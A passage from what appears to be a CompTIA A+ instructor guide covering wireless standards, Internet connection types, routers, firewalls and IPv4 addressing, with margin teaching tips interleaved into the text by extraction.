use cases. newer versions support a range of over 100 feet, though signal strength will be
weak at this distance. Bluetooth devices can use a pairing procedure to authenticate
and exchange data securely.

Bluetooth pairing. (Image © 123RF.com)

Version 4 introduced a Bluetooth Low Energy (BLE) variant of the standard. BLE is
designed for small battery-powered devices that transmit small amounts of data
infrequently. A BLE device remains in a low power state until a monitor application
initiates a connection. BLE is not backwards compatible with “classic” Bluetooth,
though a device can support both standards simultaneously.

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Radio Frequency Identification

Radio Frequency ID (RFID) is a means of identifying and tracking objects using
specially encoded tags. When an RFID reader scans a tag, the tag responds with the
information programmed into it. A tag can be either an unpowered, passive device
that only responds when scanned at close range (up to about 25 m) or a powered,
active device with a range of 100 m. Passive RFID tags can be embedded in stickers
and labels to track parcels and equipment. RFID is also used to implement some
types of access badge to operate electronic locks.

Near Field Communications

Near Field Communications (NFC) is a peer-to-peer version of RFID; that is, an
NFC device can work as both tag and reader to exchange information with other
NFC devices. NFC normally works at up to two inches (6 cm) at data rates of 106,
212, and 424 Kbps. NFC sensors and functionality are starting to be incorporated
into smartphones. NFC is mostly used for contactless payment readers, security ID
tags, and shop shelf-edge labels for stock control. It can also be used to configure
other types of connection, such as pairing Bluetooth devices.

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Review Activity:
Wireless Networking Types
7

Answer the following questions:

Show 1. You are assessing standards compatibility for a Wi-Fi network. Most
Slide(s) employees have mobile devices with single-band 2.4 GHz radios. Which
Review
Wi-Fi standards work in this band?

Wi-Fi 6 (802.11ax), Wi-Fi 4 (802.11n), and the legacy standards 802.11g and 802.11b.
Teaching
Tip 2. You are explaining your plan to use the 5 GHz band predominantly for
Take some time at an open plan office network. The business owner has heard that this is
the end of each topic shorter range, so what are its advantages over the 2.4 GHz band?
to answer questions.
You can use the Each numbered channel in a 2.4 GHz network is only 5 MHz wide, while Wi-Fi
review questions
requires about 20 MHz. Consequently, there is not much space for separate
for discussion in
class or set them for networks, and the chances of overlap are high. Numerous other product types
students to complete of work in the 2.4 GHz band, increasing the risk of interference. Using 5 GHz will
individually during or present a better opportunity to use channel bonding to increase bandwidth. As
after class. an open plan office does not have solid walls or other building features to block
signals, the slightly reduced range of 5 GHz signaling should not be a significant
drawback.

3. Can 802.11ac achieve higher throughput to a single client by multiplexing

the signals from both 2.4 and 5 GHz frequency bands? Why or why not?

No. First, a client can only use one radio at a time and so cannot connect
simultaneously to the 2.4 GHZ and 5 GHz bands. Secondl, 802.11ac works only at 5
GHz; 802.11ac access points use the 2.4 GHz band to support 802.11b/g/n clients.
The 802.11ac standard can increase bandwidth by using multiple input output
(MIMO) antenna configurations to allocate more streams, such as 2x2 or 3x3.

4. You are setting up a Wi-Fi network. Do you need to configure the BSSID?

No. You need to configure the service set identifier (SSID), unless you want to rely
on the default value. The SSID is a name for users to recognize the network by. The
basic SSID (BSSID) is the MAC address of the access point’s radio. As this is coded
into the device firmware, it does not need to be configured. Stations use the BSSID
to send frames to the access point.

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5. True or false? Only a single network name can be configured on a single

access point.

False. Each band can be assigned a different service set identifier (SSID) or network
name. Access points also allow the configuration of multiple SSIDs per radio, such
as configuring a secure network for known clients and an open network for guests.

6. True or false? A long-range fixed wireless installation operating without

a license is always illegal.

False. These installations may use unlicensed spectrum but must not exceed
the effective isotropic radiated power (EIRP) defined for the frequency band by
regulations.

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Lesson 4
Summary
7

Show You should be able to compare network types (LAN, WLAN, WAN, MAN, SAN, and
Slide(s) PAN), network hardware, cable types, and wireless protocols and use networking
tools to install and verify local cabled and wireless networks.
Summary

Teaching
Guidelines for Installing a SOHO Network
Tip Follow these guidelines to install a SOHO network:
Try to include some
time at the end • Identify the number of wired ports that must be provisioned and whether Cat
of each lesson to 6 cable for Gigabit Ethernet will suffice or Cat 6A for 10G Ethernet and/or high
check students' power PoE is required.
understanding and
answer questions. • Identify cable runs, and assess them for factors that might require special cable
types, such as shielding against external interference, plenum-rated, or outdoor/
Interaction
direct burial.
Opportunity
Get students to • Obtain patch panels matched to the cable type and switches with sufficient
browse vendor sites to ports to meet the requirement. Determine whether the port requirement can be
identify different types met with a single unmanaged switch or the network is large enough to require
and costs of network
managed switches.
hardware:
• 100 m bulk Cat 6 • Use cable stripper and punchdown tools to wire wall ports to patch panel IDCs
solid cable using solid cable, taking care to label each port and validate each segment using
• 100 m bulk Cat a cable tester.
6 external grade
solid cable • Optionally, create RJ45 patch cords using stranded cable, testing each one.
• 100 m bulk Cat 6A
F/FTP solid cable • Use patch cords to connect each patch panel port to a switch port.
• Cat 6 24-port patch
• Deploy one or more access points to provision a wireless network supporting
panel
a given range of protocols/standards (802.11abg or Wi-Fi 4/5/6) using a Wi-Fi
• Cat 6A 24-port FTP
analyzer to check signal strength. If multiple access points are required, configure
shielded patch
panel nonoverlapping channels for them to use. Consider whether to use the same
network for 2.4 and 5 GHz bands or create separate networks for each band.
• Unmanaged
eight-port desktop
• Consider whether there is any requirement for long-range fixed wireless to
switch
bridge two sites and the implications of using licensed or unlicensed spectrum to
• Managed 24-port
implement it.
PoE-enabled
workgroup switch
• Assess requirements for Bluetooth, RFC, and NFC wireless products to
implement PANs or inventory/access control systems.

• Assess requirements for SMF and/or MMF fiber optic cabling terminated using
SC, ST, or LC connectors to implement high bandwidth LAN links or long distance
WAN links.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

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 Lesson 5
Configuring Network Addressing
and Internet Connections
1

LESSON INTRODUCTION
Network cabling, wireless radios, and devices such as switches and APs are used Show
to implement local networks at the hardware level. A local-only network has Slide(s)
limited uses, however. The full functionality of networking is only realized when Objectives
local networks join wide area networks, such as the Internet. This requires modem
devices and radio antennas that can communicate over the cabling and wireless Teaching
media types used by Internet service providers (ISPs). It also requires technologies Tip
that can identify each network and forward data between them. This network With LAN cabling and
addressing and forwarding function is performed by router devices and the Internet hardware covered, this
Protocol (IP). lesson moves on to
Internet connectivity,
This lesson will help you to compare the technologies that underpin Internet access routing, network
and to configure the main protocols in the Transport Control Protocol/Internet addressing (IP, DHCP,
Protocol (TCP/IP) suite that enable communications over an internetwork. and DNS), and TCP/
UDP ports.

Lesson Objectives
In this lesson, you will:
• Compare Internet connection types.

• Use basic TCP/IP concepts.

• Compare protocols and ports.

• Compare network configuration concepts.

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Topic 5A
Compare Internet Connection Types
2

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 2.2 Compare and contrast common networking hardware.
Compare Internet 2.7 Compare and contrast Internet connection types, network types, and their features.
Connection Types
An LAN is of limited use. The full functionality of networking is only realized by
Teaching
connecting local networks to the Internet. Being able to compare the technologies
Tip
used by ISPs to facilitate Internet connections will allow you to assist customers in
This topic reviews selecting suitable options.
the principal types of
internet access and
explains the functions Internet Connection Types and Modems
of modems, routers,
and firewalls. The Internet is a global network of networks. The core of the Internet consists of
high bandwidth fiber optic links connecting Internet exchange points (IXPs). These
Show
trunk links and IXPs are mostly created by telecommunications companies and
Slide(s)
academic institutions. Within the datacenter supporting any given IXP, Internet
Internet Connection service providers (ISPs) establish high-speed links between their networks, using
Types and Modems
transit and peering arrangements to carry traffic to and from parts of the Internet
Teaching
they do not physically own. There is a tiered hierarchy of ISPs that reflects to what
Tip
extent they depend on transit arrangements with other ISPs.
Distinguish the shared Customers connect to the Internet via an ISP’s network. The connection to the
access medium nature ISP’s network uses its nearest point of presence (PoP), such as a local telephone
of local networks exchange. An Internet connection type is the media, hardware, and protocols
based on Ethernet used to link the local network at a domestic residence or small office to the ISP’s
with the point-to-point
links typically used by PoP. This WAN interface is typically point-to-point. This means that there are only
Internet connection two devices connected to the media (unlike Ethernet). Where Ethernet connections
types. Compare and are made using NICs and switches, the connection to a WAN interface is typically
contrast the function made by a type of digital modem.
of a digital modem
with an NIC.
Explain that while
modems make a
physical connection
to a service provider’s
network over a
particular media type,
the router function
logically identifies
the networks and
determines when
traffic should be
forwarded.

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Role of a digital modem to connect a local network to an ISP’s network for Internet access.

The modem establishes the physical connection to the WAN interface, but when
interconnecting networks, there must also be a means of identifying each network
and forwarding data between them. This function is performed by a router that
implements the Internet Protocol (IP).

Role of the router and Internet Protocol (IP) in distinguishing logical networks.

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Digital Subscriber Line Modems

Show Many internet connection types make use of the national and global
Slide(s) telecommunications network referred to as the public switched telephone
Digital Subscriber network (PSTN). The core of the PSTN is fiber optic, but at its edge, it is still often
Line Modems composed of legacy two-pair copper cabling. This low-grade copper wire segment is
referred to as the plain old telephone system (POTS), “local loop,” or “last mile.”
Teaching
Digital subscriber line (DSL) uses the higher frequencies available in these copper
Tip
telephone lines as a communications channel. The use of advanced modulation and
Note that while echo cancelling techniques enable high bandwidth, full duplex transmissions.
learners may be most
familiar with SOHO There are various “flavors” of DSL, notably asymmetrical and symmetrical types:
router/modems, a
digital modem can be • Asymmetrical DSL (ADSL) provides a fast downlink but a slow uplink. There are
supplied as a separate various iterations of ADSL, with the latest (ADSL2+) offering downlink rates up to
device. You may also about 24 Mbps and uplink rates of 1.25 Mbps or 2.5 Mbps.
want to note that
a modem may be • Symmetric versions of DSL offer the same uplink and downlink speeds. These
supplied as an add-in are of more use to businesses and for branch office links, where more data is
card for an enterprise
transferred upstream than with normal Internet use.
router.
The customer network is connected to the telephone cabling via a DSL modem. The
DSL modem might be provisioned as a separate device or be an embedded as a
function of a SOHO router. On a standalone DSL modem, the RJ11 WAN port on the
modem connects to the phone point. The RJ45 interface connects the modem to
the router.

RJ11 DSL (left) and RJ45 LAN (right) ports on a DSL modem. (Image © 123RF.com.)

A filter (splitter) must be installed to each phone socket to separate voice and data
signals. These can be self-installed on each phone point by the customer. Modern
sockets are likely to feature a built-in splitter.

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A self-installed DSL splitter. (Image © 123RF.com.)

Cable Modems
A cable Internet connection is usually available as part of a cable access TV (CATV) Show
service. A CATV network is often described as hybrid fiber coax (HFC), as it combines Slide(s)
a fiber optic core network with copper coaxial cable links to customer premises Cable Modems
equipment. It can also be described as broadband cable or just as cable. Cable
based on the Data Over Cable Service Interface Specification (DOCSIS) supports Teaching
downlink speeds of up to 38 Mbps (North America) or 50 Mbps (Europe) and uplinks Tip
of up to 27 Mbps. DOCSIS version 3 allows the use of multiplexed channels to Explain that where the
achieve higher bandwidth. PSTN was established
by phone companies,
Installation of a cable modem follows the same general principles as for a DSL other national
modem. The cable modem is interfaced to the local router via an RJ45 port and telecommunications
with the access provider’s network by a short segment of coax terminated using networks were created
threaded F-type connectors. More coax then links all the premises in a street with a to provision cable
cable modem termination system (CMTS), which forwards data traffic via the fiber access TV. A cable
backbone to the ISP’s point of presence and from there to the internet. modem performs the
same sort of function
as a DSL modem but
over coax rather than
two-pair copper.

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A cable modem: The RJ45 port connects to the local network router, while the coax port connects to
the service provider network. (Image © 123RF.com.)

A F-type connector is screwed down to secure it. Do not overtighten it.

Fiber to the Curb and Fiber to the Premises

Show The major obstacle to providing internet access that can perform like a LAN is
Slide(s) bandwidth in the last mile, where the copper wiring infrastructure is often low
Fiber to the Curb and grade. The projects to update this wiring to use fiber optic links are referred to by
Fiber to the Premises the umbrella term fiber to the X (FTTx).

Interaction Fiber to the Curb and VDSL

Opportunity
A fiber to the curb (FTTC) solution retains some sort of copper wiring to the
Optionally, get customer premises while extending the fiber link from the point of presence to
students to browse
one or two provider
a communications cabinet servicing multiple subscribers. The service providers
sites to identify with their roots in telephone networks use very high-speed DSL (VDSL) to support
different service FTTC. VDSL achieves higher bit rates than other DSL types at the expense of range.
offerings. It allows for both symmetric and asymmetric modes. Over 300 m (1,000 feet), an
asymmetric link supports 52 Mbps downstream and 6 Mbps upstream, while a
symmetric link supports 26 Mbps in both directions. VDSL2 specifies a very short
range (100 m/300 feet) rate of 100 Mbps (bi-directional).

DSL modems are not interchangeable. An ADSL modem is unlikely to support VDSL,
though most VDSL modems support ADSL.

Fiber to the Premises and Optical Network Terminals

A fiber to the premises (FTTP) Internet connection means that the service
provider’s fiber optic cable is run all the way to the customer’s building. This full
fiber connection type is implemented as a passive optical network (PON). In a PON,
a single fiber cable is run from the point of presence to an optical line terminal

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(OLT) located in a street cabinet. From the OLT, splitters direct each subscriber’s
traffic over a shorter length of fiber to an optical network terminal (ONT)
installed at the customer’s premises. The ONT converts the optical signal to an
electrical one. The ONT is connected to the customer’s router using an RJ45 copper
wire patch cord.

Optical network terminal—the PON port terminates the external fiber cable and the LAN ports
connect to local routers or computers over RJ45 patch cords. (Image by artush © 123RF.com)

Fixed Wireless Internet Access

Wired broadband internet access is not always available, especially in rural areas Show
or older building developments, where running new cable capable of supporting Slide(s)
DSL or full fiber is problematic. In this scenario, some sort of fixed wireless internet Fixed Wireless
access might be an option. Internet Access

Geostationary Orbital Satellite Internet Access Teaching

Tip
A satellite-based microwave radio system provides far bigger areas of coverage
Note that these
than can be achieved using other technologies. The transfer rates available vary options are generally
between providers and access packages, but 2 or 6 Mbps up and 30 Mbps down used where no cabled
would be typical. or cellular service is
available.
One drawback of satellites placed in a high geostationary orbit is increased latency.
The signal must travel over thousands of miles more than terrestrial connections,
introducing a delay of many times what might be expected over a land link. For
example, if accessing an internet web server over DSL involves a 10–20 ms round
trip time (RTT) delay on the link, accessing the same site over a satellite link could
involve a 600–800 ms RTT delay. This is an issue for real-time applications, such as
video conferencing, VoIP, and multiplayer gaming.

RTT is the two-way latency, or the time taken for a probe to be sent and a response to
be received.

To create a satellite internet connection, the ISP installs a very small aperture
terminal (VSAT) satellite dish antenna at the customer’s premises and aligns it with
the orbital satellite. The satellites are in high geostationary orbit above the equator,
so in the northern hemisphere, the dish will be pointing south. Because the satellite
does not move relative to the dish, there should be no need for any realignment.
The antenna is connected via coaxial cabling to a Digital Video Broadcast Satellite
(DVB-S) modem.

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Low Earth Orbital Satellite Internet Access

A different type of service uses an array of satellites positioned in low Earth orbit
(LEO). LEO satellites support better bandwidth (around 70–100 Mbps at the time of
writing) and are lower latency (100–200 ms RTT). The drawback is that the satellites
move relative to the surface of the Earth. The customer’s premises antenna must
be provisioned with a motor so that it can periodically realign with the array.
The dish construction uses a technology called “phased array” to connect to
different satellites as they pass overhead and minimize the amount of mechanical
realignment required. The antenna must have a clear view of the whole sky.

Wireless Internet Service Providers

A wireless internet service provider (WISP) uses ground-based long-range fixed
access wireless technology. The WISP installs and maintains a directional antenna
to work as a bridge between the customer’s network and the service provider. A
WISP might use Wi-Fi type networking or proprietary equipment and licensed or
unlicensed frequency bands.A fixed access wireless link is often low latency, or at
least, lower latency than satellite. A disadvantage of fixed access wireless is that
the actual unobstructed line of sight between the two antennas can be difficult to
maintain. If the provider uses unlicensed frequencies, there are risks of interference
from other wireless networks and devices.

All types of microwave radio link can be adversely affected by snow, rain, and high winds.

Cellular Radio Internet Connections

Show The 2.4 GHz and 5 GHz frequency bands used by Wi-Fi have limited range, while
Slide(s) fixed wireless internet requires a large dish antenna. Cellular radio wireless
Cellular Radio Internet networking facilitates communications over much larger distances using mobile
Connections devices. Cellular networking is also used by some Internet of Things (IoT) devices,
such as smart energy meters.Cellular digital communications standards are
described as belonging to a particular generation.

3G
A 3G cellular radio makes a connection to the closest base station. The area served
by each base station is referred to as a “cell.” Cells can have an effective range of
up to 5 miles (8 km), though signals can be obstructed by building materials. A 3G
cellular radio typically works in the 850 and 1,900 MHz frequency bands (mostly in
the Americas) and the 900 and 1,800 MHz bands (rest of the world). These lower
frequency waves do not need so much power to propagate over long distances.
With 3G cellular, there are two competing formats, established in different markets:
• Global System for Mobile Communication (GSM)-based phones. GSM allows
subscribers to use a removable subscriber identity module (SIM) card to use an
unlocked handset with their chosen network provider.

• Code Division Multiple Access (CDMA)-based handsets. With CDMA, the

handset is directly managed by the provider and there is no removable SIM card.

4G
Long-Term Evolution (LTE) is a series of converged 4G standards supported by both
the GSM and CDMA network providers. LTE devices must have a SIM card issued by
the network provider installed.

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5G
The 5G standard uses different spectrum bands from low (sub-6 GHz) to medium/high
(20–60 GHz). Low bands have greater range and penetrating power; high bands, also
referred to as millimeter wave (mmWave), require close range (a few hundred feet) and
cannot penetrate walls or windows. Consequently, design and rollout of 5G services is
relatively complex. Rather than a single large antenna serving a wide area wireless cell,
5G involves installing many smaller antennas to form an array that can take advantage
of multipath and beamforming to overcome the propagation limitations of the spectrum.
This technology is referred to as massive multiple input multiple output (MIMO).
As well as faster speeds for mobile device internet connections, 4G and 5G can be
used as a fixed-access wireless broadband solution for homes and businesses and
to support IoT networks.

Routers
The devices discussed so far enable physical links where the only type of addressing Show
used identifies a host hardware interface: Slide(s)
Ethernet switches and Wi-Fi access points forward frames using MAC addresses. Routers
A network segment is where hosts can send frames to one another using their
MAC addresses. Teaching
Tip
Digital modems, ONTs, and cellular radios transmit data over DSL, cable, fiber,
Note that a SOHO
satellite, and cellular links to connect a local network or device to an ISP. This is “router” is called that
typically a point-to-point link and so does not require unique interface addressing. because routing is
its most advanced
These network segments use different media types and have no physical or logical function. The same
means of communicating with one another. When you want to connect a local multifunctional device
network to the internet, you need to use a protocol that can distinguish between also includes a switch,
the private LAN and public WAN and an intermediate system with interfaces in both access point, and
networks. The protocol used to implement this is the Internet Protocol (IP), and the modem.
intermediate system is a router. Enterprise routers
typically come in two
types: WAN/edge and
LAN/internal. Edge
routers serve a similar
purpose to SOHO
routers (connect to
the Internet and to
enterprise WANs),
while internal routers
help to divide large
networks into
separate subnetworks
and zones for
performance and
security purposes.

A router. (Image © 123RF.com.)

Where a switch forwards frames using MAC (hardware) addresses, a router

forwards packets around an internetwork using IP addresses. A MAC address only
identifies a hardware port. An IP address contains the identity of both the network
and a single host within that network.

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There are several types of routers and different uses for them. A SOHO router often
simply routes between its local network interface and its WAN/Internet interface.
An enterprise network is likely to use different router models to perform different
routing tasks:
• A LAN router divides a single physical network into multiple logical subnetworks.
Each logical network becomes a separate broadcast domain. Having too many
hosts in the same broadcast domain reduces performance. There is also a security
benefit because traffic passing from one logical network to another can be subject
to filtering rules. This type of router generally has only Ethernet interfaces.

• A WAN or border router forwards traffic to and from the Internet or over a
private WAN link. This type of router has an Ethernet interface for the local
network and a digital modem interface for the WAN.

Firewalls
Show Once you have joined public and private networks using a router, you then need
Slide(s) to control which computers are allowed to connect to them and which types of
Firewalls traffic you will accept. The role of filtering allowed and denied hosts and protocols is
performed by a network firewall. A basic firewall is configured with rules, referred
Teaching to as a network access control list (ACL). Each entry in the ACL lists source and/or
Tip destination network addresses and protocol types and whether to allow or block
Make sure students traffic that matches the rule.
understand the basic
Firewalls can also be deployed within a private network. For example, you might
purpose of a firewall
and general options only want certain clients to connect to a particular group of servers. You could place
for implementing one. the servers behind a local network firewall to enforce the relevant ACL.
Most routers can implement some level of firewall functionality. A firewall can be
implemented as a standalone appliance. These dedicated appliances can perform
deeper analysis of application protocol data and use more sophisticated rules to
determine what traffic is allowed. They are often implemented as unified threat
management (UTM) appliances to perform multiple other security functions.

Sample ruleset configured on the OPNsense open source firewall implementation.

(Screenshot used with permission from OPNsense.)

There are also personal or software firewalls. These are installed to a single computer
rather than working to protect a network segment.

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Review Activity:
Internet Connection Types
3

Answer the following questions: Show

Slide(s)
Review
1. You are setting up an ADSL router/modem for a client; unfortunately,
the contents of the box have become scattered. What type of cable do Teaching
you need to locate to connect the router’s WAN interface? Tip
Take some time at
Asymmetrical Digital Subscriber Line (DSL) connects to the phone line via a filter. the end of each topic
You need an RJ11-terminated patch cord to make the connection. to answer questions.
You can use the
2. You are assisting another customer with a full fiber connection review questions
for discussion in
terminated to an optical network terminal (ONT). The customer’s router
class or set them for
was disconnected while some building work was being completed, and students to complete
the patch cable is now missing. The customer thinks that the cable individually during or
should be a fiber optic one because the service is “full fiber.” What type after class.
of cable do you need to locate?

An RJ45 unshielded twisted pair (UTP) patch cable. The ONT converts the optical
signal over the external fiber optic cable to an electrical one to connect to the
local router.

3. True or false? Both 4G and 5G cellular can be used for fixed access
broadband as well as in mobile devices.

True. These can work as an alternative to wired broadband or as a backup/failover

Internet connection type. Many router models now come with a cellular radio.
A subscribed identity module (SIM) card from the service provider must also be
installed.

4. True or false? A SOHO router uses an embedded modem and Ethernet

adapter to forward traffic between public and private network segments
over a single hardware port.

False. The modem and Ethernet interfaces use separate ports.

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Topic 5B
Use Basic TCP/IP Concepts
5

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 2.5 Given a scenario, install and configure basic wired/wireless small office/home office
Use Basic TCP/IP (SOHO) networks.
Concepts
The Transmission Control Protocol/Internet Protocol (TCP/IP) suite is used to
Teaching
perform logical addressing and data forwarding functions on most networks. As
Tip
a CompTIA A+ technician, you must be able to configure these protocols on PCs
This topic introduces and SOHO routers to implement fully functional local networks with Internet
basic TCP/IP concepts
as typically configured
connectivity.
on SOHO networks.
TCP/IP
Show A protocol is set of rules that allows networked hosts to communicate data in a
Slide(s) structured format. Often, several protocols used are designed to work together as
TCP/IP a protocol suite. Most networks have converged on the use of the Transmission
Control Protocol/Internet Protocol (TCP/IP) suite. The function of each protocol
Teaching can be better understood by dividing network functions into layers. Protocols
Tip operating at lower layers are said to encapsulate data from higher protocols. Each
The TCP/IP model is protocol adds its own header fields to data it is transporting from an upper layer
not a content example, protocol.
so students should not
need to memorize it
The TCP/IP suite uses a model with four distinct layers.
for the exam, but it is
worth using to explain
how network products
and protocols can
be conceived of as
working at separate
layers and to give an
overview of where
each protocol fits.

TCP/IP model.

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Link or Network Interface layer

The Link layer is responsible for putting frames onto the physical network. This
layer does not contain TCP/IP protocols as such. At this layer, different local
networking products and media can be used, such as Ethernet or Wi-Fi. WAN
interfaces, such as DSL and cable modems, also work at the Link layer.
Communications on this layer take place only on a local network segment and not
between different networks. On an Ethernet or Wi-Fi segment, data at the link layer
is packaged in a unit called a frame and node interfaces are identified by a MAC
address.

Internet Layer
The Internet Protocol (IP) provides packet addressing and routing within a
network of networks. A PC, laptop, mobile device, or server that can communicate
on an IP network is generically referred to as an “end system host.” For data to be
sent from one IP network to another, it must be forwarded by an intermediate
system (a router). When IP is being used with a physical/data link specification,
such as Ethernet or Wi-Fi, there must be a mechanism to deliver messages from IP
at the Internet layer to host interfaces addressed at the Link layer. This function is
performed by the Address Resolution Protocol (ARP), which allows a host to query
which MAC address is associated with an IP address.IP provides best effort delivery
that is unreliable and connectionless. A packet might be lost, delivered out of
sequence, duplicated, or delayed.

Transport Layer
Where the network layer deals with addressing, the Transport layer determines how
each host manages multiple connections for different application layer protocols
at the same time. The transport layer is implemented by one of two protocols:
Transmission Control Protocol (TCP) guarantees connection-oriented forwarding
of packets. TCP can identify and recover from lost or out-of-order packets,
mitigating the inherent unreliability of IP. This is used by most TCP/IP application
protocols, as failing to receive a packet or processing it incorrectly can cause serious
data errors. User Datagram Protocol (UDP) provides unreliable, connectionless
forwarding. UDP is faster and comes with less of a transmission overhead because
it does not need to send extra information to establish reliable connections. It is
used in time-sensitive applications, such as speech or video, where a few missing or
out-of-order packets can be tolerated. Rather than causing the application to crash,
they would just manifest as a glitch in video or a squeak in audio.

Application Layer
The Application layer contains protocols that perform some high-level function,
rather than simply addressing hosts and transporting data. There are numerous
application protocols in the TCP/IP suite. These used to configure and manage
network hosts and to operate services, such as the web and email. Each application
protocol uses a TCP or UDP port to allow a client to connect to a server.

TCP/IP was originally developed by the US Department of Defense but is now an

open standard to which anyone may contribute. Developments are implemented
through the Internet Engineering Task Force (IETF), which is split into working groups.
Standards are published as Request For Comments (RFCs). The official repository for
RFCs is at rfc-editor.org.

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IPv4 Addressing
Show The core protocol in TCP/IP is the Internet Protocol (IP), which provides network
Slide(s) and host addressing and packet forwarding between networks. An IP packet adds
IPv4 Addressing some headers to whatever transport/application layer data it is carrying in its
payload. Two of the most important header fields are the source and destination
Teaching IP address fields.There are two versions of IP: IPv4 and IPv6. An IPv4 address is
Tip 32 bits long. In its raw form it appears as 11000000101010000000000
Explain dotted decimal
000000001. The 32 bits can be arranged into four groups of eight bits (one
format. byte) known as “octets.” The above IP address could therefore be rearranged as
11000000  10101000  00000000  00000001. This representation
Interaction of an IP address is difficult for a human to memorize or to enter correctly into
Opportunity configuration dialogs. To make IP addresses easier to use, they are used in dotted
Optionally, show how
decimal notation. This notation requires each octet to be converted to a decimal
to convert between value. The decimal numbers are separated using a period. Converting the previous
binary and digital number to this notation gives 192.168.0.1
using the columnar
method. For example,
in the first octet,
the decimal value is
128+64+0+0+0+0+0+0;
in the second octet,
the conversion is
128+0+32+0+8+0+0+0.

Dotted decimal notation.

If all the bits in an octet are set to 1, the number obtained is 255 (the maximum
possible value). Similarly, if all the bits are set to 0, the number obtained is 0 (the
minimum possible value). Therefore, theoretically an IPv4 address may be any value
between 0.0.0.0 and 255.255.255.255. However, some addresses are not permitted
or are reserved for special use.

Network Prefixes
Show An IPv4 address provides two pieces of information encoded within the same value:
Slide(s) • The network number (network ID) is common to all hosts on the same IP network.
Network Prefixes
• The host number (host ID) identifies a host within a particular IP network.
Teaching
These two components within a single IP address are distinguished by combining
Tip
the address with a network prefix. A prefix is a 32-bit value with a given number of
Show how the network contiguous bits all set to 1. For example, a prefix with 24 bits is the following binary
prefix/subnet mask is
used to segment the
value: 11111111 11111111 11111111 00000000.
address into network This can be written in slash notation in the form /24. The prefix can also be
ID and host ID
expressed in dotted decimal as a subnet mask: 255.255.255.0
portions, using whole
octets to keep the
examples simple.

Network ID and host ID portions when using a 24-bit mask.

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The name “subnet mask” comes about because a single IP network can be divided into
multiple logical subnetworks (subnets) using this method.

When combined with an IP address, the prefix masks the host ID portion to reveal
the network ID portion. Where there is a binary 1 in the prefix, the corresponding
binary digit in the IP address is part of the network ID.

Slash notation is used to refer to network IDs, while the subnet mask is typically used in
host configuration dialogs. For example, 192.168.0.0/24 refers to an IP network, while
192.168.0.1/255.255.255.0 refers to a host address on that IP network.

IPv4 Forwarding
When a host attempts to send a packet via IPv4, the protocol compares the source Show
and destination IP address in the packet against the sending host’s subnet mask. Slide(s)
If the masked portions of the source and destination IP addresses match, then IPv4 Forwarding
the destination interface is assumed to be on the same IP network or subnet.
For example:

Matching source and destination network IDs.

In the example, the host will determine that the destination IPv4 address is on the
same IP network (192.168.0.0/24) and try to deliver the packet locally. On Ethernet,
the host would use the address resolution protocol (ARP) to identify the MAC
address associated with the destination IP address.

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Teaching If the masked portion does not match, the host assumes that the packet must be
Tip routed to another IP network. For example:
Point out that the
source and destination
hosts can have the
same host ID because
they are on different
networks.

Different source and destination network IDs.

In this case, the source host 192.168.0.100 identifies that the destination IPv4
address is on a different IP network (192.168.1.0/24). Consequently, it forwards the
packet to a router rather than trying to deliver it locally. Most hosts are configured
with a default gateway parameter. The default gateway is the IP address of a
router interface that the host can use to forward packets to other networks. The
default gateway must be in the same IP network as the host.

Public and Private Addressing

Show To communicate on the Internet, a host must be configured with a unique public
Slide(s) IP address. Public addresses are allocated to customer networks by ISPs. Relatively
Public and Private few companies can obtain sufficient public IPv4 addresses for all their computers
Addressing to communicate over the Internet, however. There are various mechanisms to work
around the shortage of available public addresses.
Teaching
Tip Private Address Ranges
Make sure students
can identify the private
The IPv4 address scheme defines certain ranges as reserved for private addressing,
address ranges. often called “RFC 1918” addresses after the document in which they were published.
Hosts with IP addresses from these ranges are not allowed to route traffic over the
public Internet. Use of the addresses is confined to private LANs. There are three
private address ranges:
• 10.0.0.0 to 10.255.255.255 (Class A private address range).

• 172.16.0.0 to 172.31.255.255 (Class B private address range).

• 192.168.0.0 to 192.168.255.255 (Class C private address range).

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Address Classes and Default Subnet Masks

The address classes (A, B, and C) derive from the earliest form of IP. When first
defined, IP did not include the concept of subnet masks. Hosts would identify the
network ID just by using the address class. The subnet masks that align precisely
with octet boundaries mirror this functionality. They are often referred to as the
“default masks”:

Dotted Decimal
Class Mask Network Prefix Binary Mask
A 255.0.0.0 /8 11111111
00000000
00000000
00000000
B 255.255.0.0 /16 11111111
11111111
00000000
00000000
C 255.255.255.0 /24 11111111
11111111
11111111
00000000

Internet Access Using Private Addressing

As a host configured with a private address cannot access the Internet directly,
some mechanism must be used to allow it to forward packets. Internet access can
be facilitated for hosts using a private addressing scheme in two ways:
• Through a router configured with a single or block of valid public addresses; the
router uses network address translation (NAT) to convert between the private
and public addresses.

• Through a proxy server that fulfills requests for Internet resources on behalf
of clients.
Show
Slide(s)
IPv4 Host Address Configuration
IPv4 Host Address
Each host must be configured with an IP address and subnet mask at a minimum Configuration
to communicate on an IPv4 network. This minimum configuration will not prove
Teaching
very usable, however. Several other parameters must be configured for a host to
Tip
make full use of a modern network or the Internet. There are also different ways to
supply this configuration information to hosts. List the parameters
that must be
An IPv4 address and subnet mask can be set manually in a static configuration: configured for a host
to have a valid IP
• The IPv4 address is entered as four decimal numbers separated by periods, such configuration. Explain
as 192.168.0.100. that the default
gateway parameter
• The subnet mask is entered in dotted decimal notation, such as is typically the LAN IP
255.255.255.0. When used with the IP address 192.168.0.100, this address of the router.
mask identifies 192.168.0.0 as the network ID and means that the last octet The primary DNS
server address is also
(.100) is the host ID. Alternatively, this parameter might be entered as the usually the same as
mask length in bits. the default gateway.
You might want to
mention using public
DNS resolvers, such
as Google’s 8.8.8.8 or
Quad9 (9.9.9.9).

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Configuring a Windows 10 host to use a static IP address configuration. Note that this dialog
uses a prefix length parameter rather than requiring the subnet mask in dotted decimal format.
(Screenshot courtesy of Microsoft.)

A host cannot be assigned either the first or last address in an IP network. For example,
in the IP network 192.168.0.0/24, 192.168.0.0 is the first address
and is used to identify the network itself. The last address 192.168.0.255 is
used to broadcast to all hosts. Valid host addresses range from 192.168.0.1 to
192.168.0.254.

Two other parameters are typically configured to make the host fully functional:
• The default gateway parameter is the IPv4 address of a router, such as
192.168.0.1. This is the IP address to which packets destined for a remote
network should be sent by default. This setting is not compulsory, but failure to
enter a gateway would limit the host to communication on the local network only.

• One or more Domain Name System (DNS) server IPv4 addresses. These servers
provide resolution of host and domain names to their IP addresses and are
essential for locating resources on the Internet. Most local networks also use
DNS for name resolution. Typically, the primary DNS server address would be
